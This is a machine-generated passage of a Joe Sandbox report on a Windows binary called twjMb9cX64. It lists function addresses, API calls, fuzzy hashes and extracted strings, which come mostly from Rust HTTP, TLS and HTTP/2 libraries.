Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast$memcpy$memset
String ID:
API String ID: 1408984137-0
Opcode ID: 6fd0bc6d1a7301d185e0314b8b3592ea14a607344503e93b206be1c85a40a8f8
Instruction ID: cf3f49bc340aecdc1667d8e9d2912135fda00fdf34a2a1925088d0fb5ebc11a7
Opcode Fuzzy Hash: 6fd0bc6d1a7301d185e0314b8b3592ea14a607344503e93b206be1c85a40a8f8
Instruction Fuzzy Hash: AD218B91B1DAD181EE30AA52A9107FAA690FF467C0F844531EE9D47BC9DF3CE0008720

Function 00007FF70FAE3387 Relevance: 1.3, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF70FAE33E4

Part of subcall function 00007FF70FAE0867: memcpy.MSVCRT ref: 00007FF70FAE0A21

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpywcslen
String ID:
API String ID: 982415701-0
Opcode ID: 06b3bada141f06b71b39d428b8ddb23681f8257c0dbecdf9a8b981cb7e10653d
Instruction ID: aa76d29458a6a0dd4475e534754c5f08938ba42dc624358a494538ef77f2c954
Opcode Fuzzy Hash: 06b3bada141f06b71b39d428b8ddb23681f8257c0dbecdf9a8b981cb7e10653d
Instruction Fuzzy Hash: 0C119692A1CB8591EB11AA11E9047BAE660FF56788F448131EE8D0B745DF7CD189C350

Function 00007FF70FAE0A5A Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAE0A90

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9903f9776377f608c179998707a1516ee4aff2df5eaf7398d4817e52ac1efccf
Instruction ID: af14b30bb5c0858e32dec31a07dd7e38f4e070f231a1a1564e6c09724d6bdf74
Opcode Fuzzy Hash: 9903f9776377f608c179998707a1516ee4aff2df5eaf7398d4817e52ac1efccf
Instruction Fuzzy Hash: 64E0D8A270466041F705DA93BD40AD59950AF49FD8E14C030AE0C4BB96DA39C5934314

Function 00007FF70FA6782B Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FA6788A: memcpy.MSVCRT ref: 00007FF70FA678C2

memcpy.MSVCRT ref: 00007FF70FA67863

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 66cff82f7e8643bd298bb74e3999f6cc14b91da1d95c922a43f9a1716f29b67d
Instruction ID: a68a217c5f44b2140d275fa5ac9a4a46d6c93fc3729e2e38decf5b073a1709f4
Opcode Fuzzy Hash: 66cff82f7e8643bd298bb74e3999f6cc14b91da1d95c922a43f9a1716f29b67d
Instruction Fuzzy Hash: D1F0E562A0858542F6246A11FA507FB9152EB85780F088134DECD0F7C3DF3CD09A8710

Function 00007FF70FAB6964 Relevance: 1.3, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAB698F

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9630bf720f0065d02a8e7e09b3eb022bdfa89a9296372ead43efb1b59a8c0f43
Instruction ID: e1a807b3920e47ba545babf6b14ac2a8c6033f1c2e843f0627be74549e962560
Opcode Fuzzy Hash: 9630bf720f0065d02a8e7e09b3eb022bdfa89a9296372ead43efb1b59a8c0f43
Instruction Fuzzy Hash: A1E0CDD2F0469041E605AB236D40499C915AF59FD4A848431EE0C5B746DE34C4934314

Function 00007FF70FA64883 Relevance: 1.3, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF70FA65B07,?,?,?,?,?,00000000,?,?,?,?,00007FF70FA66236), ref: 00007FF70FA6489E

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a1da033382be7f5481538ccc6857a6fd131ce22e80385406ca567b143aa1320e
Instruction ID: 3d28415fca2117fd7e1260f02e6217f64926be072e05320a137770d933258151
Opcode Fuzzy Hash: a1da033382be7f5481538ccc6857a6fd131ce22e80385406ca567b143aa1320e
Instruction Fuzzy Hash: 34E0ED52E5D89181EA65B61AA8415FD9220EF8A730FD09732CEBD066D48F1DF8975310

Function 00007FF70FA65588 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00007FF70FAE5656,00000000,?,?,00007FF70FAE6C5A,?,?,?,?,?,00000000,?,?), ref: 00007FF70FA65594

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f3a2ca38baf5d8801aa5efa0eb67555207caf8fc5f56cc674fdd6f929daa34dc
Instruction ID: e9e483e9e77fa71b3fdca827170d93b0cd9e2f720ea957e9b0a29360bbc2b5c1
Opcode Fuzzy Hash: f3a2ca38baf5d8801aa5efa0eb67555207caf8fc5f56cc674fdd6f929daa34dc
Instruction Fuzzy Hash: 35D08C85E5949282E675726AA8495F99210DF86730ED49331CABD163D48E18E8835310

Non-executed Functions

Function 00007FF70FA6CA7F Relevance: 92.7, APIs: 55, Strings: 6, Instructions: 1216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6CDFD
memcpy.MSVCRT ref: 00007FF70FA6CE3B
memcpy.MSVCRT ref: 00007FF70FA6CED9
memcpy.MSVCRT ref: 00007FF70FA6CEF2
memcpy.MSVCRT ref: 00007FF70FA6CF03
memcpy.MSVCRT ref: 00007FF70FA6CF3D

Part of subcall function 00007FF70FAB6964: memcpy.MSVCRT ref: 00007FF70FAB698F

memcpy.MSVCRT ref: 00007FF70FA6D25B
memcpy.MSVCRT ref: 00007FF70FA6E181
memcpy.MSVCRT ref: 00007FF70FA6E19A
memcpy.MSVCRT ref: 00007FF70FA6E1C5
memcpy.MSVCRT ref: 00007FF70FA6E1E3

Part of subcall function 00007FF70FA6F5B4: memcpy.MSVCRT ref: 00007FF70FA6F5EA

memcpy.MSVCRT ref: 00007FF70FA6E425

Strings

no host in urlscheme and authority is valid Uri, xrefs: 00007FF70FA6D40C, 00007FF70FA6DAD5
User-Agent: Proxy-Authorization: , xrefs: 00007FF70FA6D112
HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel, xrefs: 00007FF70FA6E361
current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs, xrefs: 00007FF70FA6D137, 00007FF70FA6D1B1, 00007FF70FA6D1CE
unexpected eof while tunneling, xrefs: 00007FF70FA6E3D4
future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs, xrefs: 00007FF70FA6E204, 00007FF70FA6E214

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs$HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel$User-Agent: Proxy-Authorization: $future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs$no host in urlscheme and authority is valid Uri$unexpected eof while tunneling
API String ID: 3510742995-1632983817
Opcode ID: de6c8a825f3af24ac79df40ecdd46bc85e8e3006a5f894e948f4a3bbbfe9cacf
Instruction ID: 65f29ec2e4be25aeb84921036eedb3a6d1cd73531ec7d7450db3f137631d0678
Opcode Fuzzy Hash: de6c8a825f3af24ac79df40ecdd46bc85e8e3006a5f894e948f4a3bbbfe9cacf
Instruction Fuzzy Hash: 07E2616660CBC180E760EB25E8447EAA761FF96B88F844136DE8C0B75ADF7CD185C760

Function 00007FF70FABE690 Relevance: 42.9, APIs: 21, Strings: 2, Instructions: 2696COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAC0145

Strings

.debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_typesNulErrorUtf8Errorvalid_up_toerror_len, xrefs: 00007FF70FABF650
.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwostd\src\..\..\backtrace\src\symbolize\gimli.rs, xrefs: 00007FF70FAC1EA2

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: .debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_typesNulErrorUtf8Errorvalid_up_toerror_len$.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwostd\src\..\..\backtrace\src\symbolize\gimli.rs
API String ID: 3510742995-1621003032
Opcode ID: 167d04c5fe9d34b07cffde43d99d9e9b3d32dde284101345d8cab24bd2765a38
Instruction ID: ea4c0078a4797aa9c9b2ee88034ff1c3e2ea1709ae6fa91fd04fd4185832f0eb
Opcode Fuzzy Hash: 167d04c5fe9d34b07cffde43d99d9e9b3d32dde284101345d8cab24bd2765a38
Instruction Fuzzy Hash: 3C634E62609BC588FB70AF29DC50BE973A4FB4578CF944235CA8D4BB99DF389285C350

Function 00007FF70FAA8E5A Relevance: 30.8, APIs: 14, Strings: 3, Instructions: 1014encryptionCOMMON

Download Yara Rule

APIs

CertDuplicateCertificateContext.CRYPT32 ref: 00007FF70FAA8F9A
CertOpenStore.CRYPT32 ref: 00007FF70FAA8FCC
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FAA9024
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FAA9110

Strings

httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FAA97BB, 00007FF70FAAA172
Z, xrefs: 00007FF70FAA95AC
d, xrefs: 00007FF70FAA9548

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Cert$CertificateContext$Free$DuplicateOpenStore
String ID: Z$d$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3431705244-3927927109
Opcode ID: 1985c132292ff2a8988099e3ace98e55dc0d5be3bd1a3e6ebe07b821e169a611
Instruction ID: cc17a10cbeb766423436d4c87cc1ab29065b14e44042e5fcd04531808f7018f0
Opcode Fuzzy Hash: 1985c132292ff2a8988099e3ace98e55dc0d5be3bd1a3e6ebe07b821e169a611
Instruction Fuzzy Hash: 0DC24572A0DBC185E6719B24E8407EAB7A4FB8A784F804125DBCD43B5ADF3CD189CB50

Function 00007FF70FA9243D Relevance: 17.9, APIs: 1, Strings: 10, Instructions: 1363COMMON

Download Yara Rule

Strings

mutex poisoned, xrefs: 00007FF70FA958A5
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA99ACA, 00007FF70FA99B24
bytes remaining on streamOut of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs, xrefs: 00007FF70FA954B3
assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize, xrefs: 00007FF70FA99AE2
invalid GOAWAY frame, xrefs: 00007FF70FA9286E
invalid pong frame, xrefs: 00007FF70FA92974
invalid RST_STREAM frame, xrefs: 00007FF70FA92EB0
invalid ping frame, xrefs: 00007FF70FA92A09, 00007FF70FA92ABA
invalid settings frame, xrefs: 00007FF70FA92D12, 00007FF70FA92DE8
assertion failed: self.remote.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/h2-0.4.7/src/proto/settings.rs, xrefs: 00007FF70FA9970D

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: FrequencyPerformanceQuery
String ID: assertion failed: self.remote.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/h2-0.4.7/src/proto/settings.rs$assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize$bytes remaining on streamOut of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs$called `Result::unwrap()` on an `Err` value$invalid GOAWAY frame$invalid RST_STREAM frame$invalid ping frame$invalid pong frame$invalid settings frame$mutex poisoned
API String ID: 4204123506-3184599591
Opcode ID: 8168975fb8c7e0ca01a2770d8ae0dd69e9b970cdf5d7fee64b04c7d13c394242
Instruction ID: ffe7002ec792f4edb0eacb1e53892a644b6e5e9914b4ff71156dd7f1926894d0
Opcode Fuzzy Hash: 8168975fb8c7e0ca01a2770d8ae0dd69e9b970cdf5d7fee64b04c7d13c394242
Instruction Fuzzy Hash: A6F26BB260CBC185E671DB14E8447EAB7A4FB86748F844136DA8D07B99DF3CE185CB10

Function 00007FF70FA484F3 Relevance: 16.9, APIs: 13, Instructions: 615COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA4855A
memcpy.MSVCRT ref: 00007FF70FA48588
memcpy.MSVCRT ref: 00007FF70FA4860E
memcpy.MSVCRT ref: 00007FF70FA487BC
memcpy.MSVCRT ref: 00007FF70FA48EA4
memcpy.MSVCRT ref: 00007FF70FA48F09
memcpy.MSVCRT ref: 00007FF70FA48F4A
memcpy.MSVCRT ref: 00007FF70FA48F77
memcpy.MSVCRT ref: 00007FF70FA48FB6
memcpy.MSVCRT ref: 00007FF70FA49010
memcpy.MSVCRT ref: 00007FF70FA49051

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 307cc06fa4096393c12dd877baca28bef64b02e87b954052a1d2604a8636ed6a
Instruction ID: 8b1284229cae3d76780c6c5469aa8c003507654114c04ab158b5f7648a89ef88
Opcode Fuzzy Hash: 307cc06fa4096393c12dd877baca28bef64b02e87b954052a1d2604a8636ed6a
Instruction Fuzzy Hash: 8B626DA290C6C185E732AB14E8017EEE760FF96784F849135DB8C0769ADFBCE585CB50

Function 00007FF70FABA880 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 252COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,00000001,?,00007FF70FAB021D), ref: 00007FF70FABA8BE
GetLastError.KERNEL32(?,?,?,?,00000001,?,00007FF70FAB021D), ref: 00007FF70FABA954
GetLastError.KERNEL32(?,?,?,?,00000001,?,00007FF70FAB021D), ref: 00007FF70FABA98F
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,00007FF70FADD25F), ref: 00007FF70FABAA3D

Strings

overflow when subtracting durations, xrefs: 00007FF70FABAB81
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FABA971, 00007FF70FABA9AC, 00007FF70FABABE8

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value$overflow when subtracting durations
API String ID: 3362413890-1633623230
Opcode ID: e2828a06575681a7815910a234980eb5d187288ac2e4cf00fa38d1f0939883f6
Instruction ID: a7fed12fb287fbaf52cf88cf7250d110180f4b02f72a62e8ce6a0ec4d217397a
Opcode Fuzzy Hash: e2828a06575681a7815910a234980eb5d187288ac2e4cf00fa38d1f0939883f6
Instruction Fuzzy Hash: 2AA1E0A1B1C7C655FF19EB65DC41BF9A3A2EF86780F848032DD0E06B96DF3CA5458220

Function 00007FF70FA906B8 Relevance: 11.6, APIs: 4, Strings: 3, Instructions: 1085COMMON

Download Yara Rule

Strings

invalid frame, xrefs: 00007FF70FA91E72
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA922DE, 00007FF70FA92318
invalid WINDOW_UPDATE frame, xrefs: 00007FF70FA90E3F, 00007FF70FA90FD7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: called `Result::unwrap()` on an `Err` value$invalid WINDOW_UPDATE frame$invalid frame
API String ID: 0-1386666196
Opcode ID: 7716df4ccd19bd785096b5d2f00384b440a6dff98f89dd02e07ae5daf29bf8fc
Instruction ID: 71473f09cbccd3787064e72dbb8e6fafa6bc6fdb3d024374f80a22e46f8f011b
Opcode Fuzzy Hash: 7716df4ccd19bd785096b5d2f00384b440a6dff98f89dd02e07ae5daf29bf8fc
Instruction Fuzzy Hash: 5FC26EB6A0CAC285E671AB25E8407EEB7A0FF86784F804136DA8D47B59DF3CD545CB10

Function 00007FF70FABB0B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF70FABB0E8
GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF70FABAD6C), ref: 00007FF70FABB101
FormatMessageW.KERNEL32(?,?,?,?,?,00007FF70FABAD6C), ref: 00007FF70FABB148
GetLastError.KERNEL32(?,?,?,?,?,00007FF70FABAD6C), ref: 00007FF70FABB1E1

Strings

NTDLL.DLL, xrefs: 00007FF70FABB0FA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorFormatHandleLastMessageModulememset
String ID: NTDLL.DLL
API String ID: 1434010500-1613819793
Opcode ID: 512294459c6dd9ad44f8b307874f90f53ccf48647b7b3cbd440617d72a5db191
Instruction ID: 401102320f460800504e4e2fcaf2feed7f7c2b20e31480d88dd8c4d6366ebb31
Opcode Fuzzy Hash: 512294459c6dd9ad44f8b307874f90f53ccf48647b7b3cbd440617d72a5db191
Instruction Fuzzy Hash: FF917266A0DBC288E775AF21DC40BFCA650EF86384FC44136DA4D06B96DF7CA655D320

Function 00007FF70FA60F00 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 1499COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FA62CDD: memcpy.MSVCRT ref: 00007FF70FA62DA8

memcpy.MSVCRT ref: 00007FF70FA615B9
memcpy.MSVCRT ref: 00007FF70FA615DB

Strings

XN--, xrefs: 00007FF70FA6121E
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FA62A79

Memory Dump Source

